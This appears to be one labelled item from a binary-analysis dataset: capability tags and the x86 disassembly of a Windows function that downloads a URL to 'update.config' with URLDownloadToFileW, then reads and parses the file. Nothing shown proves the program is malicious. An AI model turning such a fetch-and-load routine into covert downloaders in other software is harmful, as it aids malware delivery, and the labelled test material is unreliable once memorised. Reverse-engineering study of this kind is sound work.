Function at 0x4026c0
Capabilities:
Download url
Get file size
Read file on windows
Receive data

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x448bad
mov eax, dword fs:[0]
push eax
sub esp, 0x220
mov eax, dword [0x45dcf0]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
push 0x460b18
lea ecx, [ebp - 0x120]
mov dword [ebp - 0x120], 0
call fcn.00409a57
push str.update.config
lea ecx, [ebp - 0x120]
mov dword [ebp - 4], 0
call fcn.00409ca2
push 0x460a90
lea ecx, [ebp - 0x9c]
mov dword [ebp - 0x9c], 0
call fcn.00409a57
push 0x4568f4
lea ecx, [ebp - 0x9c]
mov byte [ebp - 4], 1
call fcn.00409ca2
lea ecx, [ebp - 0x22c]
call fcn.004031f0
push eax
lea ecx, [ebp - 0x9c]
mov byte [ebp - 4], 2
call fcn.00409c85
lea ecx, [ebp - 0x22c]
mov byte [ebp - 4], 1
call fcn.00409b93
push 0x4568f8
lea ecx, [ebp - 0x9c]
call fcn.00409ca2
sub esp, 0x84
mov ecx, esp
push 0x4608f8
call fcn.00409a57
lea ecx, [ebp - 0x22c]
call fcn.004033e0
add esp, 0x84
push eax
lea ecx, [ebp - 0x9c]
mov byte [ebp - 4], 3
call fcn.00409c85
lea ecx, [ebp - 0x22c]
mov byte [ebp - 4], 1
call fcn.00409b93
push 0x456910
lea ecx, [ebp - 0x9c]
call fcn.00409ca2
sub esp, 0x84
mov ecx, esp
push 0x460870
call fcn.00409a57
lea ecx, [ebp - 0x22c]
call fcn.004033e0
add esp, 0x84
push eax
lea ecx, [ebp - 0x9c]
mov byte [ebp - 4], 4
call fcn.00409c85
lea ecx, [ebp - 0x22c]
mov byte [ebp - 4], 1
call fcn.00409b93
push 0
push 0
lea ecx, [ebp - 0x120]
call fcn.0040a0d2
push eax
lea ecx, [ebp - 0x9c]
call fcn.0040a0d2
push eax
push 0
call dword [sym.imp.urlmon.dll_URLDownloadToFileW]
push 0
push 0x4000080
push 3
push 0
push 0
push SysReAllocString
lea ecx, [ebp - 0x120]
call fcn.0040a0d2
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov ebx, eax
cmp ebx, 0xffffffff
jne 0x402878
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor bl, bl
jmp 0x402951
lea eax, [ebp - 0x18]
push eax
push ebx
mov dword [ebp - 0x14], 0
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov esi, eax
lea ecx, [esi + 1]
push ecx
call fcn.00405daf
add esp, 4
mov edi, eax
push 0
lea eax, [ebp - 0x14]
push eax
push esi
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x4028bf
mov edx, dword [ebp - 0x14]
push 0x402990
mov ecx, edi
call fcn.00402b30
add esp, 4
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push edi
call fcn.00437a2d
add esp, 4
lea ecx, [ebp - 0x22c]
mov dword [ebp - 0x1a4], 0
call fcn.00403150
mov edx, eax
lea ecx, [ebp - 0x1a4]
mov byte [ebp - 4], 5
call fcn.00404850
lea ecx, [ebp - 0x22c]
mov byte [ebp - 4], 7
call fcn.00409b93
lea ecx, [ebp - 0x1a4]
call fcn.0040a2a7
push 0x456564
mov ecx, 0x4606d8
call fcn.00409c61
test al, al
je 0x402940
lea ecx, [ebp - 0x1a4]
call fcn.0040a0d2
push eax
mov ecx, 0x4606d8
call fcn.00409e4d
test eax, eax
je 0x402940
mov bl, 1
jmp 0x402942
xor bl, bl
lea ecx, [ebp - 0x1a4]
mov byte [ebp - 4], 1
call fcn.00409b93
lea ecx, [ebp - 0x9c]
mov byte [ebp - 4], 0
call fcn.00409b93
lea ecx, [ebp - 0x120]
mov dword [ebp - 4], 0xffffffff
call fcn.00409b93
mov al, bl
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.00437a1e
mov esp, ebp
pop ebp
ret